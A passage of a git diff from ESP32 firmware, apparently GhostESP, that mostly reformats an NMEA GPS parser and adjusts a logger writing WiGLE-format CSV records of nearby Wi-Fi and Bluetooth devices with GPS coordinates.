+#endif + default: + break; } - /* Other non-space character */ - else { - if (!(esp_gps->asterisk)) { - /* Add to CRC */ - esp_gps->crc ^= (uint8_t)(*d); - } - /* Add character to item */ - esp_gps->item_str[esp_gps->item_pos++] = *d; - esp_gps->item_str[esp_gps->item_pos] = '\0'; + /* Check if all statements have been parsed */ + if (((esp_gps->parsed_statement) & esp_gps->all_statements) == + esp_gps->all_statements) { + esp_gps->parsed_statement = 0; + /* Send signal to notify that GPS information has been updated */ + esp_event_post_to(esp_gps->event_loop_hdl, ESP_NMEA_EVENT, GPS_UPDATE, + &(esp_gps->parent), sizeof(gps_t), + 100 / portTICK_PERIOD_MS); } - /* Process next character */ - d++; + } else { + ESP_LOGD(GPS_TAG, "CRC Error for statement:%s", esp_gps->buffer); + } + if (esp_gps->cur_statement == STATEMENT_UNKNOWN) { + /* Send signal to notify that one unknown statement has been met */ + esp_event_post_to(esp_gps->event_loop_hdl, ESP_NMEA_EVENT, GPS_UNKNOWN, + esp_gps->buffer, len, 100 / portTICK_PERIOD_MS); + } } - return ESP_OK; + /* Other non-space character */ + else { + if (!(esp_gps->asterisk)) { + /* Add to CRC */ + esp_gps->crc ^= (uint8_t)(*d); + } + /* Add character to item */ + esp_gps->item_str[esp_gps->item_pos++] = *d; + esp_gps->item_str[esp_gps->item_pos] = '\0'; + } + /* Process next character */ + d++; + } + return ESP_OK; } /** @@ -578,22 +575,22 @@ static esp_err_t gps_decode(esp_gps_t *esp_gps, size_t len) * * @param esp_gps esp_gps_t type object */ -static void esp_handle_uart_pattern(esp_gps_t *esp_gps) -{ - int pos = uart_pattern_pop_pos(esp_gps->uart_port); - if (pos != -1) { - /* read one line(include '\n') */ - int read_len = uart_read_bytes(esp_gps->uart_port, esp_gps->buffer, pos + 1, 100 / portTICK_PERIOD_MS); - /* make sure the line is a standard string */ - esp_gps->buffer[read_len] = '\0'; - /* Send new line to handle */ - if (gps_decode(esp_gps, read_len + 1) != ESP_OK) { - ESP_LOGW(GPS_TAG, "GPS decode line failed"); - } - } else { - ESP_LOGW(GPS_TAG, "Pattern Queue Size too small"); - uart_flush_input(esp_gps->uart_port); +static void esp_handle_uart_pattern(esp_gps_t *esp_gps) { + int pos = uart_pattern_pop_pos(esp_gps->uart_port); + if (pos != -1) { + /* read one line(include '\n') */ + int read_len = uart_read_bytes(esp_gps->uart_port, esp_gps->buffer, pos + 1, + 100 / portTICK_PERIOD_MS); + /* make sure the line is a standard string */ + esp_gps->buffer[read_len] = '\0'; + /* Send new line to handle */ + if (gps_decode(esp_gps, read_len + 1) != ESP_OK) { + ESP_LOGW(GPS_TAG, "GPS decode line failed"); } + } else { + ESP_LOGW(GPS_TAG, "Pattern Queue Size too small"); + uart_flush_input(esp_gps->uart_port); + } } /** @@ -601,51 +598,51 @@ static void esp_handle_uart_pattern(esp_gps_t *esp_gps) * * @param arg argument */ -static void nmea_parser_task_entry(void *arg) -{ - esp_gps_t *esp_gps = (esp_gps_t *)arg; - uart_event_t event; - while (1) { - if (xQueueReceive(esp_gps->event_queue, &event, pdMS_TO_TICKS(200))) { - switch (event.type) { - case UART_DATA: - break; - case UART_FIFO_OVF: - ESP_LOGW(GPS_TAG, "HW FIFO Overflow"); - uart_flush(esp_gps->uart_port); - xQueueReset(esp_gps->event_queue); - break; - case UART_BUFFER_FULL: - ESP_LOGW(GPS_TAG, "Ring Buffer Full"); - // Read and discard data until we clear the buffer - uint8_t temp_buffer[64]; - while (uart_read_bytes(esp_gps->uart_port, temp_buffer, sizeof(temp_buffer), 0) > 0) { - // Small delay to prevent task starvation - vTaskDelay(pdMS_TO_TICKS(1)); - } - xQueueReset(esp_gps->event_queue); - break; - case UART_BREAK: - ESP_LOGW(GPS_TAG, "Rx Break"); - break; - case UART_PARITY_ERR: - ESP_LOGE(GPS_TAG, "Parity Error"); - break; - case UART_FRAME_ERR: - ESP_LOGE(GPS_TAG, "Frame Error"); - break; - case UART_PATTERN_DET: - esp_handle_uart_pattern(esp_gps); - break; - default: - ESP_LOGW(GPS_TAG, "unknown uart event type: %d", event.type); - break; - } +static void nmea_parser_task_entry(void *arg) { + esp_gps_t *esp_gps = (esp_gps_t *)arg; + uart_event_t event; + while (1) { + if (xQueueReceive(esp_gps->event_queue, &event, pdMS_TO_TICKS(200))) { + switch (event.type) { + case UART_DATA: + break; + case UART_FIFO_OVF: + ESP_LOGW(GPS_TAG, "HW FIFO Overflow"); + uart_flush(esp_gps->uart_port); + xQueueReset(esp_gps->event_queue); + break; + case UART_BUFFER_FULL: + ESP_LOGW(GPS_TAG, "Ring Buffer Full"); + // Read and discard data until we clear the buffer + uint8_t temp_buffer[64]; + while (uart_read_bytes(esp_gps->uart_port, temp_buffer, + sizeof(temp_buffer), 0) > 0) { + // Small delay to prevent task starvation + vTaskDelay(pdMS_TO_TICKS(1)); } - /* Drive the event loop */ - esp_event_loop_run(esp_gps->event_loop_hdl, pdMS_TO_TICKS(50)); + xQueueReset(esp_gps->event_queue); + break; + case UART_BREAK: + ESP_LOGW(GPS_TAG, "Rx Break"); + break; + case UART_PARITY_ERR: + ESP_LOGE(GPS_TAG, "Parity Error"); + break; + case UART_FRAME_ERR: + ESP_LOGE(GPS_TAG, "Frame Error"); + break; + case UART_PATTERN_DET: + esp_handle_uart_pattern(esp_gps); + break; + default: + ESP_LOGW(GPS_TAG, "unknown uart event type: %d", event.type); + break; + } } - vTaskDelete(NULL); + /* Drive the event loop */ + esp_event_loop_run(esp_gps->event_loop_hdl, pdMS_TO_TICKS(50)); + } + vTaskDelete(NULL); } /** @@ -654,102 +651,96 @@ static void nmea_parser_task_entry(void *arg) * @param config Configuration of NMEA Parser * @return nmea_parser_handle_t handle of nmea_parser */ -nmea_parser_handle_t nmea_parser_init(const nmea_parser_config_t *config) -{ - esp_gps_t *esp_gps = calloc(1, sizeof(esp_gps_t)); - if (!esp_gps) { - ESP_LOGE(GPS_TAG, "calloc memory for esp_fps failed"); - goto err_gps; - } - esp_gps->buffer = calloc(1, NMEA_PARSER_RUNTIME_BUFFER_SIZE); - if (!esp_gps->buffer) { - ESP_LOGE(GPS_TAG, "calloc memory for runtime buffer failed"); - goto err_buffer; - } +nmea_parser_handle_t nmea_parser_init(const nmea_parser_config_t *config) { + esp_gps_t *esp_gps = calloc(1, sizeof(esp_gps_t)); + if (!esp_gps) { + ESP_LOGE(GPS_TAG, "calloc memory for esp_fps failed"); + goto err_gps; + } + esp_gps->buffer = calloc(1, NMEA_PARSER_RUNTIME_BUFFER_SIZE); + if (!esp_gps->buffer) { + ESP_LOGE(GPS_TAG, "calloc memory for runtime buffer failed"); + goto err_buffer; + } #if CONFIG_NMEA_STATEMENT_GSA - esp_gps->all_statements |= (1 << STATEMENT_GSA); + esp_gps->all_statements |= (1 << STATEMENT_GSA); #endif #if CONFIG_NMEA_STATEMENT_GSV - esp_gps->all_statements |= (1 << STATEMENT_GSV); + esp_gps->all_statements |= (1 << STATEMENT_GSV); #endif #if CONFIG_NMEA_STATEMENT_GGA - esp_gps->all_statements |= (1 << STATEMENT_GGA); + esp_gps->all_statements |= (1 << STATEMENT_GGA); #endif #if CONFIG_NMEA_STATEMENT_RMC - esp_gps->all_statements |= (1 << STATEMENT_RMC); + esp_gps->all_statements |= (1 << STATEMENT_RMC); #endif #if CONFIG_NMEA_STATEMENT_GLL - esp_gps->all_statements |= (1 << STATEMENT_GLL); + esp_gps->all_statements |= (1 << STATEMENT_GLL); #endif #if CONFIG_NMEA_STATEMENT_VTG - esp_gps->all_statements |= (1 << STATEMENT_VTG); -#endif - /* Set attributes */ - esp_gps->uart_port = config->uart.uart_port; - esp_gps->all_statements &= 0xFE; - /* Install UART friver */ - uart_config_t uart_config = { - .baud_rate = config->uart.baud_rate, - .data_bits = config->uart.data_bits, - .parity = config->uart.parity, - .stop_bits = config->uart.stop_bits, - .flow_ctrl = UART_HW_FLOWCTRL_DISABLE, - .source_clk = UART_SCLK_DEFAULT, - }; - if (uart_driver_install(esp_gps->uart_port, CONFIG_NMEA_PARSER_RING_BUFFER_SIZE, 0, - config->uart.event_queue_size, &esp_gps->event_queue, 0) != ESP_OK) { - ESP_LOGE(GPS_TAG, "install uart driver failed"); - goto err_uart_install; - } - if (uart_param_config(esp_gps->uart_port, &uart_config) != ESP_OK) { - ESP_LOGE(GPS_TAG, "config uart parameter failed"); - goto err_uart_config; - } - if (uart_set_pin(esp_gps->uart_port, UART_PIN_NO_CHANGE, config->uart.rx_pin, - UART_PIN_NO_CHANGE, UART_PIN_NO_CHANGE) != ESP_OK) { - ESP_LOGE(GPS_TAG, "config uart gpio failed"); - goto err_uart_config; - } - /* Set pattern interrupt, used to detect the end of a line */ - uart_enable_pattern_det_baud_intr(esp_gps->uart_port, '\n', 1, 9, 0, 0); - /* Set pattern queue size */ - uart_pattern_queue_reset(esp_gps->uart_port, config->uart.event_queue_size); - uart_flush(esp_gps->uart_port); - /* Create Event loop */ - esp_event_loop_args_t loop_args = { - .queue_size = NMEA_EVENT_LOOP_QUEUE_SIZE, - .task_name = NULL - }; - if (esp_event_loop_create(&loop_args, &esp_gps->event_loop_hdl) != ESP_OK) { - ESP_LOGE(GPS_TAG, "create event loop faild"); - goto err_eloop; - } - /* Create NMEA Parser task */ - BaseType_t err = xTaskCreate( - nmea_parser_task_entry, - "nmea_parser", - CONFIG_NMEA_PARSER_TASK_STACK_SIZE, - esp_gps, - CONFIG_NMEA_PARSER_TASK_PRIORITY, - &esp_gps->tsk_hdl); - if (err != pdTRUE) { - ESP_LOGE(GPS_TAG, "create NMEA Parser task failed"); - goto err_task_create; - } - ESP_LOGI(GPS_TAG, "NMEA Parser init OK"); - return esp_gps; - /*Error Handling*/ + esp_gps->all_statements |= (1 << STATEMENT_VTG); +#endif + /* Set attributes */ + esp_gps->uart_port = config->uart.uart_port; + esp_gps->all_statements &= 0xFE; + /* Install UART friver */ + uart_config_t uart_config = { + .baud_rate = config->uart.baud_rate, + .data_bits = config->uart.data_bits, + .parity = config->uart.parity, + .stop_bits = config->uart.stop_bits, + .flow_ctrl = UART_HW_FLOWCTRL_DISABLE, + .source_clk = UART_SCLK_DEFAULT, + }; + if (uart_driver_install( + esp_gps->uart_port, CONFIG_NMEA_PARSER_RING_BUFFER_SIZE, 0, + config->uart.event_queue_size, &esp_gps->event_queue, 0) != ESP_OK) { + ESP_LOGE(GPS_TAG, "install uart driver failed"); + goto err_uart_install; + } + if (uart_param_config(esp_gps->uart_port, &uart_config) != ESP_OK) { + ESP_LOGE(GPS_TAG, "config uart parameter failed"); + goto err_uart_config; + } + if (uart_set_pin(esp_gps->uart_port, UART_PIN_NO_CHANGE, config->uart.rx_pin, + UART_PIN_NO_CHANGE, UART_PIN_NO_CHANGE) != ESP_OK) { + ESP_LOGE(GPS_TAG, "config uart gpio failed"); + goto err_uart_config; + } + /* Set pattern interrupt, used to detect the end of a line */ + uart_enable_pattern_det_baud_intr(esp_gps->uart_port, '\n', 1, 9, 0, 0); + /* Set pattern queue size */ + uart_pattern_queue_reset(esp_gps->uart_port, config->uart.event_queue_size); + uart_flush(esp_gps->uart_port); + /* Create Event loop */ + esp_event_loop_args_t loop_args = {.queue_size = NMEA_EVENT_LOOP_QUEUE_SIZE, + .task_name = NULL}; + if (esp_event_loop_create(&loop_args, &esp_gps->event_loop_hdl) != ESP_OK) { + ESP_LOGE(GPS_TAG, "create event loop faild"); + goto err_eloop; + } + /* Create NMEA Parser task */ + BaseType_t err = xTaskCreate( + nmea_parser_task_entry, "nmea_parser", CONFIG_NMEA_PARSER_TASK_STACK_SIZE, + esp_gps, CONFIG_NMEA_PARSER_TASK_PRIORITY, &esp_gps->tsk_hdl); + if (err != pdTRUE) { + ESP_LOGE(GPS_TAG, "create NMEA Parser task failed"); + goto err_task_create; + } + ESP_LOGI(GPS_TAG, "NMEA Parser init OK"); + return esp_gps; + /*Error Handling*/ err_task_create: - esp_event_loop_delete(esp_gps->event_loop_hdl); + esp_event_loop_delete(esp_gps->event_loop_hdl); err_eloop: err_uart_install: - uart_driver_delete(esp_gps->uart_port); + uart_driver_delete(esp_gps->uart_port); err_uart_config: err_buffer: - free(esp_gps->buffer); + free(esp_gps->buffer); err_gps: - free(esp_gps); - return NULL; + free(esp_gps); + return NULL; } /** @@ -758,15 +749,14 @@ nmea_parser_handle_t nmea_parser_init(const nmea_parser_config_t *config) * @param nmea_hdl handle of NMEA parser * @return esp_err_t ESP_OK on success,ESP_FAIL on error */ -esp_err_t nmea_parser_deinit(nmea_parser_handle_t nmea_hdl) -{ - esp_gps_t *esp_gps = (esp_gps_t *)nmea_hdl; - vTaskDelete(esp_gps->tsk_hdl); - esp_event_loop_delete(esp_gps->event_loop_hdl); - esp_err_t err = uart_driver_delete(esp_gps->uart_port); - free(esp_gps->buffer); - free(esp_gps); - return err; +esp_err_t nmea_parser_deinit(nmea_parser_handle_t nmea_hdl) { + esp_gps_t *esp_gps = (esp_gps_t *)nmea_hdl; + vTaskDelete(esp_gps->tsk_hdl); + esp_event_loop_delete(esp_gps->event_loop_hdl); + esp_err_t err = uart_driver_delete(esp_gps->uart_port); + free(esp_gps->buffer); + free(esp_gps); + return err; } /** @@ -781,11 +771,13 @@ esp_err_t nmea_parser_deinit(nmea_parser_handle_t nmea_hdl) * - ESP_ERR_INVALIG_ARG: Invalid combination of event base and event id * - Others: Fail */ -esp_err_t nmea_parser_add_handler(nmea_parser_handle_t nmea_hdl, esp_event_handler_t event_handler, void *handler_args) -{ - esp_gps_t *esp_gps = (esp_gps_t *)nmea_hdl; - return esp_event_handler_register_with(esp_gps->event_loop_hdl, ESP_NMEA_EVENT, ESP_EVENT_ANY_ID, - event_handler, handler_args); +esp_err_t nmea_parser_add_handler(nmea_parser_handle_t nmea_hdl, + esp_event_handler_t event_handler, + void *handler_args) { + esp_gps_t *esp_gps = (esp_gps_t *)nmea_hdl; + return esp_event_handler_register_with(esp_gps->event_loop_hdl, + ESP_NMEA_EVENT, ESP_EVENT_ANY_ID, + event_handler, handler_args); } /** @@ -798,8 +790,9 @@ esp_err_t nmea_parser_add_handler(nmea_parser_handle_t nmea_hdl, esp_event_handl * - ESP_ERR_INVALIG_ARG: Invalid combination of event base and event id * - Others: Fail */ -esp_err_t nmea_parser_remove_handler(nmea_parser_handle_t nmea_hdl, esp_event_handler_t event_handler) -{ - esp_gps_t *esp_gps = (esp_gps_t *)nmea_hdl; - return esp_event_handler_unregister_with(esp_gps->event_loop_hdl, ESP_NMEA_EVENT, ESP_EVENT_ANY_ID, event_handler); +esp_err_t nmea_parser_remove_handler(nmea_parser_handle_t nmea_hdl, + esp_event_handler_t event_handler) { + esp_gps_t *esp_gps = (esp_gps_t *)nmea_hdl; + return esp_event_handler_unregister_with( + esp_gps->event_loop_hdl, ESP_NMEA_EVENT, ESP_EVENT_ANY_ID, event_handler); } \ No newline at end of file diff --git a/main/vendor/GPS/gps_logger.c b/main/vendor/GPS/gps_logger.c index 03484ba5..3695f29b 100644 --- a/main/vendor/GPS/gps_logger.c +++ b/main/vendor/GPS/gps_logger.c @@ -1,22 +1,22 @@ -#include -#include -#include -#include "esp_log.h" -#include "sys/time.h" -#include "driver/uart.h" -#include -#include #include "vendor/GPS/gps_logger.h" +#include "core/callbacks.h" +#include "driver/uart.h" +#include "esp_log.h" #include "managers/gps_manager.h" #include "managers/sd_card_manager.h" -#include "vendor/GPS/MicroNMEA.h" -#include "core/callbacks.h" #include "managers/views/terminal_screen.h" +#include "sys/time.h" +#include "vendor/GPS/MicroNMEA.h" +#include +#include +#include +#include +#include static const char *GPS_TAG = "GPS"; static const char *CSV_TAG = "CSV"; -static bool is_valid_date(const gps_date_t* date); +static bool is_valid_date(const gps_date_t *date); #define CSV_BUFFER_SIZE 512 @@ -24,23 +24,25 @@ static FILE *csv_file = NULL; static char csv_buffer[BUFFER_SIZE]; static size_t buffer_offset = 0; -esp_err_t csv_write_header(FILE* f) { +static bool gps_connection_logged = false; + +esp_err_t csv_write_header(FILE *f) { // Wigle pre-header - const char* pre_header = "WigleWifi-1.6,appRelease=1.0,model=ESP32,release=1.0,device=GhostESP," - "display=NONE,board=ESP32,brand=Espressif,star=Sol,body=3,subBody=0\n"; - + const char *pre_header = "WigleWifi-1.6,appRelease=1.0,model=ESP32,release=1.0,device=GhostESP," + "display=NONE,board=ESP32,brand=Espressif,star=Sol,body=3,subBody=0\n"; + // Wigle main header - const char* header = "MAC,SSID,AuthMode,FirstSeen,Channel,Frequency,RSSI," - "CurrentLatitude,CurrentLongitude,AltitudeMeters,AccuracyMeters,Type\n"; + const char *header = "MAC,SSID,AuthMode,FirstSeen,Channel,Frequency,RSSI," + "CurrentLatitude,CurrentLongitude,AltitudeMeters,AccuracyMeters,Type\n"; // Add Bluetooth header after WiFi header - const char* ble_header = "# Bluetooth\n" - "MAC,Name,RSSI,FirstSeen,CurrentLatitude,CurrentLongitude," - "AltitudeMeters,AccuracyMeters,Type\n"; + const char *ble_header = "# Bluetooth\n" + "MAC,Name,RSSI,FirstSeen,CurrentLatitude,CurrentLongitude," + "AltitudeMeters,AccuracyMeters,Type\n"; if (f == NULL) { - const char* mark_begin = "[BUF/BEGIN]"; - const char* mark_close = "[BUF/CLOSE]"; + const char *mark_begin = "[BUF/BEGIN]"; + const char *mark_close = "[BUF/CLOSE]"; uart_write_bytes(UART_NUM_0, mark_begin, strlen(mark_begin)); uart_write_bytes(UART_NUM_0, pre_header, strlen(pre_header)); uart_write_bytes(UART_NUM_0, header, strlen(header)); @@ -65,17 +67,16 @@ esp_err_t csv_write_header(FILE* f) { } } -void get_next_csv_file_name(char *file_name_buffer, const char* base_name) { +void get_next_csv_file_name(char *file_name_buffer, const char *base_name) { int next_index = get_next_csv_file_index(base_name); - snprintf(file_name_buffer, GPS_MAX_FILE_NAME_LENGTH, "/mnt/ghostesp/gps/%s_%d.csv", base_name, next_index); + snprintf(file_name_buffer, GPS_MAX_FILE_NAME_LENGTH, "/mnt/ghostesp/gps/%s_%d.csv", base_name, + next_index); } -esp_err_t csv_file_open(const char* base_file_name) { +esp_err_t csv_file_open(const char *base_file_name) { char file_name[GPS_MAX_FILE_NAME_LENGTH]; - - if (sd_card_exists("/mnt/ghostesp/gps")) - { + if (sd_card_exists("/mnt/ghostesp/gps")) { get_next_csv_file_name(file_name, base_file_name); csv_file = fopen(file_name, "w"); } @@ -95,59 +96,45 @@ esp_err_t csv_file_open(const char* base_file_name) { } esp_err_t csv_write_data_to_buffer(wardriving_data_t *data) { - if (!data) return ESP_ERR_INVALID_ARG; - + if (!data) + return ESP_ERR_INVALID_ARG; + // Get GPS data from the global handle - gps_t* gps = &((esp_gps_t*)nmea_hdl)->parent; - if (!gps) return ESP_ERR_INVALID_STATE; - + gps_t *gps = &((esp_gps_t *)nmea_hdl)->parent; + if (!gps) + return ESP_ERR_INVALID_STATE; + char timestamp[35]; - if (!is_valid_date(&gps->date) || - gps->tim.hour > 23 || gps->tim.minute > 59 || gps->tim.second > 59) { + if (!is_valid_date(&gps->date) || gps->tim.hour > 23 || gps->tim.minute > 59 || + gps->tim.second > 59) { ESP_LOGW(GPS_TAG, "Invalid date/time for CSV entry"); return ESP_ERR_INVALID_STATE; } - + snprintf(timestamp, sizeof(timestamp), "%04d-%02d-%02d %02d:%02d:%02d.%03d", - gps_get_absolute_year(gps->date.year), - gps->date.month, gps->date.day, - gps->tim.hour, gps->tim.minute, gps->tim.second, - gps->tim.thousand); + gps_get_absolute_year(gps->date.year), gps->date.month, gps->date.day, gps->tim.hour, + gps->tim.minute, gps->tim.second, gps->tim.thousand); char data_line[CSV_BUFFER_SIZE]; int len; if (data->ble_data.is_ble_device) { // BLE device format - matches WiGLE Bluetooth format - len = snprintf(data_line, CSV_BUFFER_SIZE, - "%s,%s,%d,%s,%.6f,%.6f,%.1f,%.1f,%s\n", - data->ble_data.ble_mac, - data->ble_data.ble_name[0] ? data->ble_data.ble_name : "[Unknown]", - data->ble_data.ble_rssi, - timestamp, - data->latitude, - data->longitude, - data->altitude, - data->accuracy, - "BLE"); // Fixed type for BLE devices + len = snprintf(data_line, CSV_BUFFER_SIZE, "%s,%s,%d,%s,%.6f,%.6f,%.1f,%.1f,%s\n", + data->ble_data.ble_mac, + data->ble_data.ble_name[0] ? data->ble_data.ble_name : "[Unknown]", + data->ble_data.ble_rssi, timestamp, data->latitude, data->longitude, + data->altitude, data->accuracy, + "BLE"); // Fixed type for BLE devices } else { // WiFi device format - int frequency = data->channel > 14 ? - 5000 + (data->channel * 5) : 2407 + (data->channel * 5); - + int frequency = + data->channel > 14 ? 5000 + (data->channel * 5) : 2407 + (data->channel * 5); + len = snprintf(data_line, CSV_BUFFER_SIZE, - "%s,%s,%s,%s,%d,%d,%d,%.6f,%.6f,%.1f,%.1f,WIFI\n", - data->bssid, - data->ssid, - data->encryption_type, - timestamp, - data->channel, - frequency, - data->rssi, - data->latitude, - data->longitude, - data->altitude, - data->accuracy); + "%s,%s,%s,%s,%d,%d,%d,%.6f,%.6f,%.1f,%.1f,WIFI\n", data->bssid, data->ssid, + data->encryption_type, timestamp, data->channel, frequency, data->rssi, + data->latitude, data->longitude, data->altitude, data->accuracy); } if (len < 0 || len >= CSV_BUFFER_SIZE) { @@ -156,7 +143,7 @@ esp_err_t csv_write_data_to_buffer(wardriving_data_t *data) { } // Check if buffer needs flushing - if (buffer_offset + len >= BUFFER_SIZE) { + if (buffer_offset + len >= BUFFER_SIZE && csv_file != NULL) { esp_err_t err = csv_flush_buffer_to_file(); if (err != ESP_OK) { return err; @@ -167,7 +154,7 @@ esp_err_t csv_write_data_to_buffer(wardriving_data_t *data) { // For BLE entries, ensure we're past the headers if (data->ble_data.is_ble_device && buffer_offset == 0) { // Skip to Bluetooth section if this is the first entry after a flush - const char* ble_section = "# Bluetooth\n"; + const char *ble_section = "# Bluetooth\n"; size_t section_len = strlen(ble_section); memcpy(csv_buffer, ble_section, section_len); buffer_offset = section_len; @@ -180,11 +167,16 @@ esp_err_t csv_write_data_to_buffer(wardriving_data_t *data) { } esp_err_t csv_flush_buffer_to_file() { + // Don't flush if there's no data in buffer + if (buffer_offset == 0) { + return ESP_OK; + } + if (csv_file == NULL) { - printf("Storage: No open file.\n Starting new file.\n"); - TERMINAL_VIEW_ADD_TEXT("Storage: No open file.\n Starting new file.\n"); - const char* mark_begin = "[BUF/BEGIN]"; - const char* mark_close = "[BUF/CLOSE]"; + printf("Storage:\nStarting new file.\n"); + TERMINAL_VIEW_ADD_TEXT("Storage:\nStarting new file.\n"); + const char *mark_begin = "[BUF/BEGIN]"; + const char *mark_close = "[BUF/CLOSE]"; uart_write_bytes(UART_NUM_0, mark_begin, strlen(mark_begin)); uart_write_bytes(UART_NUM_0, csv_buffer, buffer_offset); @@ -223,33 +215,37 @@ void csv_file_close() { } } -static bool is_valid_date(const gps_date_t* date) { - if (!date) return false; - +static bool is_valid_date(const gps_date_t *date) { + if (!date) + return false; + // Check year (0-99 represents 2000-2099) - if (!gps_is_valid_year(date->year)) return false; - + if (!gps_is_valid_year(date->year)) + return false; + // Check month (1-12) - if (date->month < 1 || date->month > 12) return false; - + if (date->month < 1 || date->month > 12) + return false; + // Check day (1-31 depending on month) uint8_t days_in_month[] = {31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31}; - + // Adjust February for leap years uint16_t absolute_year = gps_get_absolute_year(date->year); - if ((absolute_year % 4 == 0 && absolute_year % 100 != 0) || - (absolute_year % 400 == 0)) { + if ((absolute_year % 4 == 0 && absolute_year % 100 != 0) || (absolute_year % 400 == 0)) { days_in_month[1] = 29; } - - if (date->day < 1 || date->day > days_in_month[date->month - 1]) return false; - + + if (date->day < 1 || date->day > days_in_month[date->month - 1]) + return false; + return true; } void populate_gps_quality_data(wardriving_data_t *data, const gps_t *gps) { - if (!data || !gps) return; - + if (!data || !gps) + return; + data->gps_quality.satellites_used = gps->sats_in_use; data->gps_quality.hdop = gps->dop_h; data->gps_quality.speed = gps->speed; @@ -257,21 +253,21 @@ void populate_gps_quality_data(wardriving_data_t *data, const gps_t *gps) { data->gps_quality.fix_quality = gps->fix; data->gps_quality.magnetic_var = gps->variation; data->gps_quality.has_valid_fix = gps->valid; - + // Calculate accuracy (existing method) data->accuracy = gps->dop_h * 5.0; - + // Copy basic GPS data (existing fields) data->latitude = gps->latitude; data->longitude = gps->longitude; data->altitude = gps->altitude; } -const char* get_gps_quality_string(const wardriving_data_t *data) { +const char *get_gps_quality_string(const wardriving_data_t *data) { if (!data->gps_quality.has_valid_fix) { return "No Fix"; } - + if (data->gps_quality.hdop <= 1.0) { return "Excellent"; } else if (data->gps_quality.hdop <= 2.0) { @@ -285,28 +281,32 @@ const char* get_gps_quality_string(const wardriving_data_t *data) { } } -static const char* get_cardinal_direction(float course) { - const char* directions[] = {"N", "NNE", "NE", "ENE", "E", "ESE", "SE", "SSE", - "S", "SSW", "SW", "WSW", "W", "WNW", "NW", "NNW"}; +static const char *get_cardinal_direction(float course) { + const char *directions[] = {"N", "NNE", "NE", "ENE", "E", "ESE", "SE", "SSE", + "S", "SSW", "SW", "WSW", "W", "WNW", "NW", "NNW"}; int index = (int)((course + 11.25f) / 22.5f) % 16; return directions[index]; } -static const char* get_fix_type_str(uint8_t fix) { - switch(fix) { - case GPS_FIX_INVALID: return "No Fix"; - case GPS_FIX_GPS: return "GPS"; - case GPS_FIX_DGPS: return "DGPS"; - default: return "Unknown"; +static const char *get_fix_type_str(uint8_t fix) { + switch (fix) { + case GPS_FIX_INVALID: + return "No Fix"; + case GPS_FIX_GPS: + return "GPS"; + case GPS_FIX_DGPS: + return "DGPS"; + default: + return "Unknown"; } } -static void format_coordinates(double lat, double lon, char* lat_str, char* lon_str) { +static void format_coordinates(double lat, double lon, char *lat_str, char *lon_str) { int lat_deg = (int)fabs(lat); double lat_min = (fabs(lat) - lat_deg) * 60; int lon_deg = (int)fabs(lon); double lon_min = (fabs(lon) - lon_deg) * 60; - + sprintf(lat_str, "%d°%.4f'%c", lat_deg, lat_min, lat >= 0 ? 'N' : 'S'); sprintf(lon_str, "%d°%.4f'%c", lon_deg, lon_min, lon >= 0 ? 'E' : 'W'); } @@ -314,80 +314,95 @@ static void format_coordinates(double lat, double lon, char* lat_str, char* lon_ float get_accuracy_percentage(float hdop) { // HDOP ranges from 1 (best) to 20+ (worst) // Let's consider HDOP of 1 as 100% and HDOP of 20 as 0% - - if (hdop <= 1.0f) return 100.0f; - if (hdop >= 20.0f) return 0.0f; - + + if (hdop <= 1.0f) + return 100.0f; + if (hdop >= 20.0f) + return 0.0f; + // Linear interpolation between 1 and 20 return (20.0f - hdop) * (100.0f / 19.0f); } void gps_info_display_task(void *pvParameters) { const TickType_t delay = pdMS_TO_TICKS(5000); - char output_buffer[512] = {0}; + static char output_buffer[256] = {0}; char lat_str[20] = {0}, lon_str[20] = {0}; static wardriving_data_t gps_data = {0}; - - ESP_LOGI(GPS_TAG, "GPS info display task started"); - - while(1) { + + printf("GPS info display task started\n"); + TERMINAL_VIEW_ADD_TEXT("GPS info display task started\n"); + + while (1) { // Add null check for nmea_hdl if (!nmea_hdl) { - ESP_LOGW(GPS_TAG, "NMEA handle is null"); + if (gps_connection_logged) { + printf("GPS Module Disconnected\n"); + TERMINAL_VIEW_ADD_TEXT("GPS Module Disconnected\n"); + gps_connection_logged = false; + } vTaskDelay(delay); continue; } - ESP_LOGD(GPS_TAG, "Getting GPS structure"); - gps_t* gps = &((esp_gps_t*)nmea_hdl)->parent; - + gps_t *gps = &((esp_gps_t *)nmea_hdl)->parent; + if (!gps) { - ESP_LOGW(GPS_TAG, "GPS structure is null"); + if (gps_connection_logged) { + printf("GPS Module Disconnected\n"); + TERMINAL_VIEW_ADD_TEXT("GPS Module Disconnected\n"); + gps_connection_logged = false; + } vTaskDelay(delay); continue; } - - // Only populate GPS data, don't trigger CSV operations - if (gps->valid) { - ESP_LOGD(GPS_TAG, "Populating GPS data"); - populate_gps_quality_data(&gps_data, gps); - } - - // Build complete string before sending to terminal - if (!gps->valid || !is_valid_date(&gps->date)) { - ESP_LOGD(GPS_TAG, "GPS not valid, showing searching message"); - strncpy(output_buffer, "Searching sats...\n", sizeof(output_buffer) - 1); - output_buffer[sizeof(output_buffer) - 1] = '\0'; + + if (!gps->valid || gps->fix < GPS_FIX_GPS || gps->fix_mode < GPS_MODE_2D || + gps->sats_in_use < 3 || gps->sats_in_use > GPS_MAX_SATELLITES_IN_USE) { + if (!gps_is_timeout_detected()) { + printf("Searching satellites...\nSats: %d/%d\n", + gps->sats_in_use > GPS_MAX_SATELLITES_IN_USE ? 0 : gps->sats_in_use, + GPS_MAX_SATELLITES_IN_USE); + TERMINAL_VIEW_ADD_TEXT( + "Searching satellites...\nSats: %d/%d\n", + gps->sats_in_use > GPS_MAX_SATELLITES_IN_USE ? 0 : gps->sats_in_use, + GPS_MAX_SATELLITES_IN_USE); + } } else { - ESP_LOGD(GPS_TAG, "Formatting GPS coordinates"); + // Only populate GPS data if we have a valid fix + populate_gps_quality_data(&gps_data, gps); format_coordinates(gps_data.latitude, gps_data.longitude, lat_str, lon_str); - const char* direction = get_cardinal_direction(gps_data.gps_quality.course); - - // Use safer snprintf with size checking - int written = snprintf(output_buffer, sizeof(output_buffer), - "GPS Info\n" - "Sats: %d/%d\n" - "Lat: %s\n" - "Long: %s\n" - "Direction: %d° %s\n", - gps_data.gps_quality.satellites_used, - GPS_MAX_SATELLITES_IN_USE, - lat_str, - lon_str, - (int)gps_data.gps_quality.course, - direction ? direction : "Unknown"); - - // Verify the write was successful - if (written < 0 || written >= sizeof(output_buffer)) { - ESP_LOGE(GPS_TAG, "Buffer overflow prevented in GPS info formatting"); - strncpy(output_buffer, "GPS Data Error\n", sizeof(output_buffer) - 